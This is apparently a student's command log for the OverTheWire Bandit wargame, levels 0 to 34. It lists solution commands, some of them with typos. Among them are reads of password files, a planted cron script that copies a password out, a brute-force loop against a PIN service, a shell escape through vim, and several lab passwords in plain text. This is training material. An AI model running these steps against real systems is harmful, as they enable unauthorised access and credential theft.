```
Nivel 0
ls
cat readme
1->2
ls
cat ./-
2->3
ls
cat "spaces in this filename"
3->4
ls
find inhere
cat inhere/.hidden
4->5
ls
cd inhere
file ./*
cat .-file07
5->6
ls
cd inhere
ls -l
find!-executable-size 1033c
cat ./maybehere07/.file2
6->7
find / -user bandit7 -group bandit6 -size 33c
find / -user bandit7 -group bandit6 -size 33c 2>/dev/null
cat /var/lib/dpkg/info/bandit7.password
7->8
ls
cat data.txt
grep 'millionth' data.txt
8->9
ls
uniq -u data.txt
sort data.txt
sort data.txt | uniq -u
9->10
ls
```

```
grep '=' data.txt
file data.txt
strings data.txt | grep '==='
10->11
ls
cat data.txt
base64 -d data.txt
11 \rightarrow 12
ls
cat data.txt
cat data.txt |tr 'A-Za-z' 'N-ZA-Mn-za-m'
12→13
ls
cat data.txt
mkdir /tmp/wf1
cp data.txt /tmp/wf1/.
cd /tmp/wf1
ls
xxd -r data.txt data
file data
mv data data.gz
gzip -d data.gz
ls
file data
mv data data.bz2
bzip2 -d data.bz2
file data
mv data data.gz
gzip -d data.gz
file data
mv data data.tar
tar xvf data.tar
file data5.bin
mv data5.bin data.tar
tar xvf data.tar
file data6.bin
mv data6.bin data.bz2
bzip2 -d data.bz2
file data
mv data data.tar
tar xvf data.tar
file data8.bin
mv data8.bin data.gz
gzip -d data.gz
file data
```

```
cat data
13→14
ls
ssh -i sshkey.private bandit14@localhost
ssh -i sshkey.private -p 2220 bandit14@localhost
Is /etc/bandit_pass/
cat /etc/bandit pass/bandit14
14→15
nc localhost 30000
talnet localhost 30000
15→16
ls
openssl s_client -connect localhost:30001
16→17
nmap -A -p 31000-32000 localhost
echo "JQttfApK4SeyHwDlI9SXGR50qclOAil1" | openssl s_client -quiet -connect
localhost:31790 -ign_eof
cd /tmp/random_sshkey
vim private.key
chmod 400 private.key
ssh -i private.key -p 2220 bandit17@localhost
17→18
ls
cat passwords.old
cat passwords.new
diff passwords.old passwords.new
18→19
ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat ~/readme"
19→20
ls
file bandit20-do
ls -l
./bandit20-do
./bandit20-do cat /etc/bandit_pass/bandit20
20-21
ls
ls -l
echo -n "VxCazJaVykl6W36BkBU0mJTCM8rR95XT" | nc -l -p 1234 &
```

```
./suconnect 1234
21→22
cd /etc/cron.d
ls
cat cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
22→23
Is /etc/cron.d/
cat /etc/cron.d/cronjob_bandit23
cat /usr/bin/cronjob_bandit23.sh
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
23→24
Is /etc/cron.d
cat /etc/cron.d/cronjob_bandit24
cat /usr/bin/cronjob_bandit24.sh
mkdir pass
cd /tmp/passs
touch pass.sh
vi pass.sh
       #!/bin/bash
       cat /etc/bandit_pass/bandit24 > /tmp/ypass/pass
touch pass
chmod 777 -R /tmp/passs
cp pass.sh /var/spool/bandit24/foo
ls -l
ls -l
ls -l
cat pass
24 \rightarrow 25
nc localhost 30002
mkdir /tmp/bandit-pass25
cd /tmp/bandit-pass25
vi script.sh
       #!/bin/bash
              for a in {0..9}
              do
                      for e in {0..9}
                      do
                             for i in {0..9}
                             do
                                     for o in {0..9}
```

do

```
echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $a$e$i$o"
              done
       done
  done
done
chmod +x script.sh
./script.sh | nc localhost 30002
25→26
ssh -i bandit26.sshkey bandit26@localhost -p 2220
modo more se hce pequeña la consola
:r cat /etc/bandit_pass/bandit26
26→27
set shell=/bin/bash
:shell
ls
./bandit27-do cat /etc/bandit_pass/bandit27
27→28
mkdir /tmp/jhonking
cd /tmp/jhonking
git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
ls -l
cd repo
cat README
28→29
mkdir /tmp/jhon123
cd /tmp/jhon123
git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
cd repo
ls -a
cat README.md
git branch
git log
//revisamos el ultima modificacion
git checkout abcff758fa6343a0d002a1c0add1ad8c71b88534
cat README.md
29→30
mkdir /tmp/jhonking1
cd /tmp/jhonking1
git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
```

```
cd repo
ls -a
cat README.md
git branch -r
git checkout dev
ls
cat README.md
30-31
mkdir /tmp/jhonkin1
cd /tmp/jhonkin1
git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo
ls
cd repo
ls -a
cat README.md
git branch -r
git tag
git show secret
31→32
ls
cd repo
ls -a
rm .gitignore
echo 'May I come in?' > key.txt
git add key.txt
git branch
32→33
$0
$export SHELL=/bin/bash
echo $SHELL
$SHELL
ls
cd /etc/bandit_pass
ls
cat bandit33
33-34
cat README.txt
```